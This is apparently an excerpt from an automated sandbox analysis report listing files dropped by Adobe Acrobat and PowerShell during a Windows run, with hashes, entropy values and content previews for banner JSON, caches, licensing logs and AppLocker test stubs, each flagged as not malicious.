C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290130789150543
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfYdPeUkwRe9:YvXKXsFT5LjIPKGg8Ukee9
MD5:	B856B04954494F2586065FD0D0F1937E
SHA1:	B41EE88288A80E1F0BDC8517FF361435C1D3D227
SHA-256:	89D3CE191190C43E128FB22CC70A942C63A9A9CF4AA28102547FC8B994FA978D
SHA-512:	7B1B93F0862BF6EB1A73FCA0328F1845D26FF560A7CD9912A610A354D95157A774BACC093F3BA265934250B316380698A06F8994E7A53DA27C1E01C2C9FBA7A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2768562492509385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJf+dPeUkwRe9:YvXKXsFT5LjIPKG28Ukee9
MD5:	CD2B579EFAB90AB8DD1D28EFC09F9DBA
SHA1:	01DE0E8E56A03DB0D5EA3901F941DD1273C4807A
SHA-256:	4961E3B316E45172CCB08A242B8A8CBAA64C02310DB97FA04750F0371DD86793
SHA-512:	E8C308E9361BF904D361B1DE0F8ECFB5F4D356DAA7DDBCD2D44E476095BA12EAC6276B654DE58A0FAA1DE9111B0788360DB113D1FE96E9C0BA7D67EDEFE9ED4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273745716452239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfbPtdPeUkwRe9:YvXKXsFT5LjIPKGDV8Ukee9
MD5:	7D1697427C67EAF4C4452D23766DB83C
SHA1:	7DEF663512CDECA8D74DD6F01E70ACB0A9A2238D
SHA-256:	B86EEE24F1BF6142593C518F5BA3C70D4371603512563632BAB8D6D8D1ED3950
SHA-512:	08F729CA4254F3004E2B39350C36E83CB4B196CB4C513A72636547A80E0026E57B378292E65EB594974C21C5345EB702400E4E59B20CF0A981771618C9A9181E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265979285548837
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJf21rPeUkwRe9:YvXKXsFT5LjIPKG+16Ukee9
MD5:	22FF0C6FC7FFA20417B38A22909286F2
SHA1:	4729FBFCF6FE5111D69CB41C091E112999D49D00
SHA-256:	26D7B0581B46A6428D0AE8611C7A3223A59C6BDE7A0632F99E7893CCD54C1EAF
SHA-512:	96C1731D59DB6745905BCCBF4EE45829A62E6043E9AA4D9467C754879C588B18A75A12A5BA687B807572F9F681A8C4014E8ED1C1880F71E19C1102CB414AF085
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661815358086683
Encrypted:	false
SSDEEP:	24:Yv6XCT5XIHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:YvPXcBgkDMUJUAh8cvM4
MD5:	BB696ED2FC5909A7880586868E44BEF4
SHA1:	694375A328C2755DD7702B8D1E2314A75FC10BA3
SHA-256:	3EAE8E09087545CCE42D3FBC536ED34101E2CAFCCE6F6ED548B9512C5F65FC91
SHA-512:	9842388C2DE36CFFCF9452413C5836664DB87588B866C930A5A13B71326EC8E77A478F71F1F93E5974D1B29C4C4945E38FEC2BB2CCC78A0ABA5186C58D7531C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239086998080326
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJfshHHrPeUkwRe9:YvXKXsFT5LjIPKGUUUkee9
MD5:	BD1238AC17751BB277C503116753A9DB
SHA1:	F26D17A29DCAA6CF947F9E581480865E53219DDA
SHA-256:	A956526186DC6AB1D4A75BD993DE8714A95FD8549A0BCF1E291DC88EA72780C3
SHA-512:	3727F7686FFF138FC1B395FB448F0FEC297859B4747CF763D24FB1499F7982F4918F885E60C8D66F0A1947254ACE41740A016E79DE05B242381A1580BFBD3762
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.249092929277562
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEOyRUA3X4mSg1c2LjcWkHvR0YJ3oAvJTqgFCrPeUkwRe9:YvXKXsFT5LjIPKGTq16Ukee9
MD5:	39D618FF1E37F3FE91AC7459DBA4C8BD
SHA1:	B4659362804B4A30630E814B761071F504D715E7
SHA-256:	AD6F2F228CBA2AE98E6603ECA7C55AA6428AD1B6B546737B4604124BAD019C1D
SHA-512:	22E971AF691B706F188B2717489B77EFE5AD0C9A5058E69BA500F5EA8948AC85110643218D23EB1983E92D2026DFAB031F19CA800331EEFF4BB9D9B2ABA08423
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b6c7c2c6-cd6d-48fd-83ae-e42ae08e7a23","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736745569429,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145999954250769
Encrypted:	false
SSDEEP:	48:Yl/uMdOdV1qtAI8Xu7uL9TXY+kWb5h8rlu9KR:C/tgV1qiI8eqpT+Az8WKR
MD5:	B160A6C1F37F3CA8A9E3F8DFADC7291F
SHA1:	0136AF4CB20A1208AB5D4A7F78ACA97345D3C4D0
SHA-256:	CB97EE69AED10272B6E54C4177D857ED2E3DC318AD63AAC84151E256D8559BD8
SHA-512:	C029C27E7CE44E90EBC4C3B279CE654585163F81F89DAE1E083EEA7DE533BC0A5FDDD4737335D049835BD28BE911E00219D3DCA44ACAE4030447E67D66DEC8CA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"078d716bdbc175f66b2c5d8f643620b9","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569814000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"77786642a8f53d6c31a117e840b52c25","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569813000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e1b069a247ef0e404fb43e7cd4c5d4a1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569813000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d990d77bbed7a70547e24bf2dc311416","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569813000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a61144cac5a31edd20cf8cd5515ced78","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569813000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e4217b7dfde168a4c1a963f4e43016b1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3673212734350835
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuqvXKdqEKfS8EKfM1baivF:Tll2GL7msMcKTlS8fcsuqkfIi9
MD5:	7437CC76A96A332DBFBA876CCD4F86C8
SHA1:	1A74B02325B9B7E3DFA7DB9155B55ED0330448CA
SHA-256:	C77BAEFBAE4B40D77BD3181820F45CC010D5C2A17BEAC0A51D07594B237525B4
SHA-512:	58A8FF80E41CD95F37DE296824661B8816698FC84688D82F0DB92BD6AE9053BE25E6904A60CA7B8B6EC1DE3369FCBCB449837C5BF18C41C785A5430E8ED0D426
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8447720453261933
Encrypted:	false
SSDEEP:	24:7+tBZ6bqyKn6ylSTofcNqDuqv+KdqEKfS8EKfM1banbqJqLKufx/XYKQvGJF7ur8:7MTcKTlS8fcsuq9fIoqGufl2GL7msN
MD5:	6019A748FB860370737B5DBDE1014069
SHA1:	03C705F38EB7B02668C56F00C4CE2A295FD6CCFF
SHA-256:	744A074FD34F09748365AD0FBAD79094951C06792323E97B4E52A70CA04CB052
SHA-512:	23F08FF63811183D7707ECCEAD68AE877A8C7839284AAD28AFDCAA9CF9168CBB47A5BDE0326142571734F8CD98184AACF9809FF0D6038A0A8B56AA8C4D52F6A4
Malicious:	false
Preview:	.... .c........[..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTx4hzIg2QUEqPEHmT9JiKRwFTu/Yyu:6a6TZ44ADETymgFUxMHmxIMK
MD5:	B96D4515B62AD2BBB2011035CFD74846
SHA1:	AE67AC3B7E39F632B21171C43B5524C2EA56010D
SHA-256:	14BABCF59DD05FDBD39C48960D4AF1F9FE31293D0EFC680110F19BC2534DC7DE
SHA-512:	6198F9B058CFFAD9D9084820B3DD17427585D13587C2462FF404457E63631E302AC0246646A45CD00C19E4C1B9879BDBE81EF27219C0EBBDDE33D1CE1FC0AF42
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI6b4f5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClX8H:Qw946cPbiOxDlbYnuRK+bLH
MD5:	34964F04D46313C24E5F3472A53BD30C
SHA1:	AE77302388B88A07C7A40790526218F8C6EC94AD
SHA-256:	A08A059BAFEE5BDDD8C64F133F70AA03E8C246EC4CA85AF57093280EDA77243D
SHA-512:	0847FBAD3B5EA0F6C768D05BD76107147F9334CCD4E11C102E6AD8C9E68E15123D4F6E50A46371E0B1676F75658C224798EBE07F753E3E8E129C7FB31162F2A0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.0.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0bel03zg.taw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vpjifdpy.cfo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-30-07-019.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.348313954466098
Encrypted:	false
SSDEEP:	384:AYWZ+ETvgEh/T4t8sKmD/N94UXqbktJ4uJ1RTvjSvS2qQzfmWdTd4z4ZwvJH2rzo:IVu
MD5:	00E9284A7861EE43EEC583803277DF1B
SHA1:	5422C9471F454124543FDE5C6C547820A489F244
SHA-256:	C74D318873D93F28033F3D99C4156855B9C1B21E01CA310CBA1B4959CC95370A
SHA-512:	A4BE6F579668E9F25F940759E8A6DEB7A26D824F217C6C8B5D898F1B5F95F54930D13DE6FF7EC34C0E73729B6E6386273AEF9C84FB647CD504139978A16E2FBE
Malicious:	false
Preview:	SessionID=ff71d530-41a5-4ac4-9c9f-22eafedc1ca9.1736569807034 Timestamp=2025-01-10T23:30:07:034-0500 ThreadID=1692 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ff71d530-41a5-4ac4-9c9f-22eafedc1ca9.1736569807034 Timestamp=2025-01-10T23:30:07:035-0500 ThreadID=1692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ff71d530-41a5-4ac4-9c9f-22eafedc1ca9.1736569807034 Timestamp=2025-01-10T23:30:07:035-0500 ThreadID=1692 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ff71d530-41a5-4ac4-9c9f-22eafedc1ca9.1736569807034 Timestamp=2025-01-10T23:30:07:035-0500 ThreadID=1692 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ff71d530-41a5-4ac4-9c9f-22eafedc1ca9.1736569807034 Timestamp=2025-01-10T23:30:07:035-0500 ThreadID=1692 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.377202978854217
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmXsvMv/r2V+nMV+MrEBcZcbP0d:8qnXopZ50rDBPm
MD5:	3403FE32EF1D91FAF7D26F56E93118C9
SHA1:	03D4606A34EDFFB18C5213D012230E35C2EE76CA
SHA-256:	154610F3FFAD1C48A55E39A761C939DC58574A59D97B4DE2771F013B3E270290
SHA-512:	E32DD6193215D11C4F4DB06EE10CB50E56C3B893AC84AFBB3D51BF0E1476CD50CA0B9414F312AA62C6025406E58BC16B409D196FAA50C7FA550523F712283B34
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2943ad39-aa50-47c9-a7e2-b6ff5c5e3c74.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9UZmSWBlkipdjP:O3Pjegf121DMNB1DofjgJJJJm94mS8lJ
MD5:	F0C249D815CA8ECB85859F3DDDC934F8
SHA1:	6AE96A345A1284F21266C386E841F342BC888B92
SHA-256:	030459E6B829224D7B0EC15AD2428309AEF95E547146B823FAA1910ACF29D328
SHA-512:	0B0B9FA3CF87C1FE3A254C4AD4E12891B12BD82723D7170DE00429B841167FDCCC85C1B7FA3754E40BFCD7ED220AC3B5C95025D56D17A9240626A27ABA0862C3
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5f70984f-b982-4fa4-9bf9-efe74c4c430a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
